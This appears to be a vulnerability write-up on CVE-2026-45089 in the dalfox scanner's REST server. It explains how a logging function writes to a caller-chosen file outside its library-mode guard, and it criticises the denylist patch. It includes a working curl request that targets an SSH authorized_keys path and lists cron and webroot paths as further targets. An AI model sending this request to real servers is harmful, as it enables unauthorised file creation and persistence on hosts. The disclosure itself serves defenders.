//nefariousplan

CVE-2026-45089: Dalfox's File-Write Block Was Outside the IsLibrary Guard

vendor

patterns

cve

proof of concept

internal/printing/logger.go is the file dalfox writes every scan log line through. The file's only exported function, DalLog, opens with eight lines of level-prefix bookkeeping and then enters an if options.IsLibrary { ... } else { ... } block. The if branch appends the formatted line to options.ScanResult.Logs so a Go-library caller can collect it. The else branch prints to stdout for the CLI operator. Those are the two output modes the function's author considered.

Three lines below the brace that closes the if/else, the function reaches a second block: if options.OutputFile != "" { os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644); ... }. That block runs whichever of the two branches above was taken. CVE-2026-45089 is what happens when options.OutputFile is a string the network caller chose.

The IsLibrary guard covers two branches. The file write is the third.

Pre-patch DalLog, the print/write tail of the function:

// internal/printing/logger.go, v2.12.0
// Printing
mutex.Lock()
if options.IsLibrary {
    options.ScanResult.Logs = append(options.ScanResult.Logs, text)
} else {
    if level == "PRINT" {
        StopSpinner(options)
        if options.Format == "json" || options.Format == "jsonl" {
            ftext = text
            fmt.Println(text)
        } else {
            ftext = "[POC]" + text
            // colored stdout print
        }
        RestartSpinner(options)
    } else {
        if !options.Silence {
            if text != "HIDDENMESSAGE!!" {
                text = "\r" + text
                fmt.Fprintln(os.Stderr, text)
            }
        }
    }
}

if options.OutputFile != "" {
    var fdtext string
    if ftext != "" {
        fdtext = ftext
        f, err := os.OpenFile(options.OutputFile,
            os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
        if err != nil {
            fmt.Fprintln(os.Stderr, "output file error (file)")
        }
        defer f.Close()
        if _, err := f.WriteString(fdtext + "\n"); err != nil {
            fmt.Fprintln(os.Stderr, "output file error (write)")
        }
    }
}
mutex.Unlock()

The if options.IsLibrary block exists because library-mode dalfox has a contract: the caller is the consumer of the log lines, the dalfox process is not allowed to write to the operator's terminal, the lines accumulate in ScanResult.Logs for the calling program to read. Both observable outputs the function's author considered, the append to the slice and the print to stdout, are inside the if/else. The library caller gets the append. The CLI caller gets the print.

The file-write block is below the closing brace. It has its own guard, if options.OutputFile != "", but it does not have the library-mode guard. When IsLibrary is true and OutputFile is non-empty, the library caller gets the append AND the process opens the file and writes the line to disk.

ftext is set by the level switch above the if/else, but only when allWrite is true, which is true when options.OutputAll is true OR options.Debug is true. The advisory names exactly those three fields. The first names the path. The other two say "write at all." Either of them flips the third branch from no-op to live.

Initialize hardcodes the library flag and copies the attacker's path

pkg/server/scan.go's ScanFromAPI calls dalfox.Initialize(target, target.Options). Initialize starts with hardcoded library-mode defaults:

// lib/func.go, v2.12.0
newOptions := model.Options{
    IsLibrary:    true,
    OutputFile:   "",
    Debug:        false,
    OutputAll:    false,
    Silence:      true,
    NoColor:      true,
    NoSpinner:    true,
    // ...
}

Five separate fields are set to "library mode" values. The contract is written into the defaults: a library caller has chosen embedding, not invocation, and embedding does not write to the operator's filesystem.

Initialize's override tables then copy specific fields back from the caller's options:

// lib/func.go: string-options table
"OutputFile": {&newOptions.OutputFile, options.OutputFile},
// ...
for _, opt := range stringOptions {
    if opt.source != "" {
        *opt.value = opt.source
    }
}

// lib/func.go: bool-options table
"OutputAll": {&newOptions.OutputAll, options.OutputAll},
"Debug":     {&newOptions.Debug,     options.Debug},
// ...
for _, opt := range boolOptions {
    if opt.source {
        *opt.target = true
    }
}

OutputFile is copied if non-empty. OutputAll and Debug are copied if true. IsLibrary is not in the bool-options table. The library-mode default at the top of the function wins; the attacker's JSON cannot override it.

After Initialize, newOptions.IsLibrary == true and newOptions.OutputFile, newOptions.OutputAll, newOptions.Debug are whatever the attacker's JSON said. Every DalLog call in the scan goroutine takes the library branch (no terminal output) and writes the same line to the attacker's chosen path.

The first log line fires before the scan sends a payload

pkg/scanning/scan.go:187, near the top of the scan goroutine:

parsedURL, err := url.Parse(target)
if err != nil {
    printing.DalLog("SYSTEM", "Unable to parse URL: "+target+". Please ensure it is a valid URL.", options)
    return scanResult, err
}

A request body whose URL fails url.Parse reaches this line within microseconds of the goroutine starting. The level is SYSTEM. The switch sets ftext = "[*] " + text when allWrite is true. The if/else takes the library branch. The file-write block runs. The attacker's path gets [*] Unable to parse URL: ://. Please ensure it is a valid URL.\n appended, or, if the path did not exist, created with mode 0644 and that one line written to it.

The CLI operator running dalfox server does not see this. The library branch was taken; nothing went to stderr. Echo's access log records POST /scan 200. The file exists on disk. Nothing on the operator's terminal indicates that anything happened.

This is the structural difference between this CVE and the sibling CVE-2026-45087, the RCE via --found-action. The RCE requires the scanner to find a reflection: foundAction fires from pkg/scanning/sendReq.go, which runs after scan.Scan has tested at least one payload against the target and observed it echoed in a response body. The file write fires from DalLog, which the scan goroutine calls from its first line of bookkeeping. There is no "reflection found" precondition. There is no "the target was vulnerable to XSS" precondition. There is url.Parse returning an error on the request body's URL field, or a successful target fetch that hits the next SYSTEM line at scan.go:212, or any of fifty-nine other call sites the scan goroutine hits as it runs.

The chain is one curl against a default-config server

The default --port is 6664. The default --host is 0.0.0.0. The default --api-key is empty. The auth middleware registers only when the key is non-empty. The server starts, prints Listen 0.0.0.0:6664, and serves.

$ curl -X POST http://target:6664/scan \
    -H 'Content-Type: application/json' \
    -d '{
      "url": "http://attacker.example/",
      "options": {
        "output": "/home/dalfox/.ssh/authorized_keys",
        "output-all": true
      }
    }'
{"code":200,"msg":"<sid>"}

postScanHandler accepts the body, generates a scan id, spawns the goroutine. ScanFromAPI calls dalfox.Initialize, which copies the attacker's OutputFile and OutputAll across. scan.Scan runs. The first DalLog("SYSTEM", "Valid target [ code:200 / size:N ]", options) call at scan.go:212 hits the moment the target URL is fetched. The level is SYSTEM. allWrite is true because OutputAll is true. ftext is set to [*] Valid target [ code:200 / size:N ]. The if/else takes the library branch. The file-write block opens /home/dalfox/.ssh/authorized_keys with O_APPEND|O_CREATE and mode 0644. Whatever was at that path is appended to. Whatever was not at that path is created.

0644 on authorized_keys is wrong for OpenSSH's strict-modes check, and [*] Valid target is not a public key. The example is the primitive's ceiling, not its most artful exploitation. The primitive is "create a 0644-mode file at any path the dalfox process user can write to." /var/spool/cron/crontabs/<user>, /etc/cron.d/<anyname>, ~/.bash_logout, a webroot CGI directory if dalfox is colocated with one, a sentinel file another service polls for, a serialized-session path the application server reads back, any of these is a path where "create the file and own it" matters more than "the content is valid for that file's syntax."

The primitive does not stop on the first call. Subsequent scan iterations hit DalLog dozens of times each. The file is appended to on every line. The attacker chose the path; they also chose how many lines to add, by choosing the URL and the depth of the scan options. A target that fails fast adds a handful of lines. A target that passes discovery and runs the full payload corpus adds hundreds.

The fix is a denylist at the API boundary. DalLog is byte-identical.

Commit 02ad18f, May 7, 2026, the patch that closes all three GHSAs that share this root cause:

// pkg/server/server.go, added in v2.13.0
// sanitizeAPIScanOptions strips fields that would let an API caller drive
// host-side filesystem or shell execution. These options are only safe for
// local CLI users; in REST/MCP mode the caller is the request body, so we
// refuse to honor them regardless of authentication state.
//
// See GHSA-v25v-m36w-jp4h, GHSA-8hf9-3q64-q2qf, GHSA-35wr-x7v6-9fv2.
func sanitizeAPIScanOptions(o *model.Options) {
    o.FoundAction = ""
    o.FoundActionShell = ""
    o.OutputFile = ""
    o.OutputAll = false
    o.CustomPayloadFile = ""
    o.CustomBlindXSSPayloadFile = ""
    o.HarFilePath = ""
}

func postScanHandler(c echo.Context, scans *[]string, options *model.Options) error {
    rq := new(Req)
    if err := c.Bind(rq); err != nil {
        // ...
    }
    sanitizeAPIScanOptions(&rq.Options)
    // ...
    go ScanFromAPI(rq.URL, rq.Options, *options, sid)
    // ...
}

OutputFile = "" and OutputAll = false are forced into the API-bound options before they reach dalfox.Initialize. The third field the advisory names, Debug, is not in the sanitizer. It does not need to be; the file-write block short-circuits when OutputFile == "" regardless of what Debug is. The sanitizer closes the chain at the path field, not at the trigger fields.

internal/printing/logger.go between v2.12.0 and v2.13.0 differs by exactly one line:

@@ -192,6 +192,7 @@ func DalLog(level, text string, options model.Options) {
 		}
 
 	case "YELLOW":
+		ftext = text
 		if options.AuroraObject != nil {

The line adds the YELLOW log level to the set that writes to OutputFile when the file-write block is reached. The patch that closes CVE-2026-45089 widens the file-write surface inside the same function it leaves structurally untouched. The if options.IsLibrary { ... } else { ... } block in v2.13.0 is in the same position, with the same scope, as it was in v2.12.0. The file-write block is still three lines below the closing brace. The library-mode contract is still violated on every call where OutputFile is set.

The patch decided the trust boundary is the API surface. The patch did not decide the trust boundary is also library-mode versus host-modification mode. Both decisions were available. One block of code, three lines, moved into the existing if options.IsLibrary block's else branch, would have closed the primitive at the logger. The patch made the other decision: a denylist of seven specific field names at the only call site that the GHSA reporters demonstrated. The library-mode guard is preserved as it was. The next caller that hands DalLog a non-empty OutputFile runs the third branch the same way the REST API server did.

The contract was "library mode produces no side effects on the host"

The if/else in DalLog is not decorative. The function's author wrote it to discriminate between the two callers dalfox supports as first-class: an operator at a terminal running dalfox url https://target.example/, and a Go program that imports github.com/hahwul/dalfox/v2/lib and calls lib.NewScan(target). Library callers expect to be the only consumer of the log output. Their calling program is responsible for surface: it decides whether to log to a file, whether to print, whether to discard. The dalfox process is not supposed to make those decisions on the caller's behalf.

The five hardcoded defaults at the top of Initialize are the contract's text. IsLibrary: true, OutputFile: "", Silence: true, NoColor: true, NoSpinner: true. Each disables a default-CLI side effect. The library contract reads "no terminal output, no file output, no spinner, no color, no banners."

The same Initialize function then copies OutputFile from the caller's options if non-empty. That is the contract's loophole. A library caller who explicitly asks for a file output gets one. The loophole exists because a CLI run also goes through Initialize: dalfox url https://target.example/ -o output.txt populates target.Options.OutputFile, Initialize copies it across, the CLI's expected file output works.

The REST API caller is a third class of caller. They are nominally library-mode (IsLibrary is hardcoded true; the if/else is taken on the library side), so the operator sees no terminal output. They are CLI-mode in the only field that matters, the one that controls the file write. The contract's text says "library mode produces no side effects on the host." The runtime behavior is: every scan log line writes to the attacker's chosen path. The operator's terminal stays clean for the duration.

This is the security-tool-as-primitive shape applied to the scanner's logging facility. The CLI feature that lets an operator pipe scan output to findings.txt is the privileged action. The privilege exists because operators do this. The same privilege, reachable through a struct field that the REST handler binds from JSON, is a remote open(path, O_CREAT|O_APPEND, 0644) against whatever the dalfox process can write. The denylist in sanitizeAPIScanOptions is the boundary that holds the primitive off the wire today. The contract IsLibrary was supposed to enforce is not.

The sibling post on CVE-2026-45087 names the broader structural cause and the design-debt-driver shape behind it: model.Options doing double duty as flag struct and request body, with seventy-two JSON tags each becoming a network-controlled field, fixed by a denylist of eight. That post is the better treatment of the boundary failure. This CVE's contribution is the second-order observation: the function at the end of the propagation chain, DalLog, was itself written by an author who understood library mode well enough to gate the stdout branch on it, and the same author left the file-write block outside the gate. The struct was wrong at the boundary. The function was wrong at the receiver. The patch closed the boundary side. The receiver was not changed.

This is the-detector-is-the-target in its quietest form. The dalfox process is a vulnerability scanner. Its job description is "send arbitrary requests to URLs the operator chose, parse the responses, log what was found." The REST API moves the choice of URL from the operator to the network. The scanner's logging, which is a feature, becomes a remote file-touch on the host the scanner runs on. The operator sees nothing the entire time. The line was always written to a slice for the library caller to read; in v2.12.0 server mode, it was also written to a path the network caller specified.

PoC: GHSA-8hf9-3q64-q2qf

The library-mode guard is unchanged in v2.13.0. Any future caller that hands DalLog an attacker-controlled OutputFile reopens the third branch. The sanitizer in pkg/server is the only thing keeping the file path off the wire.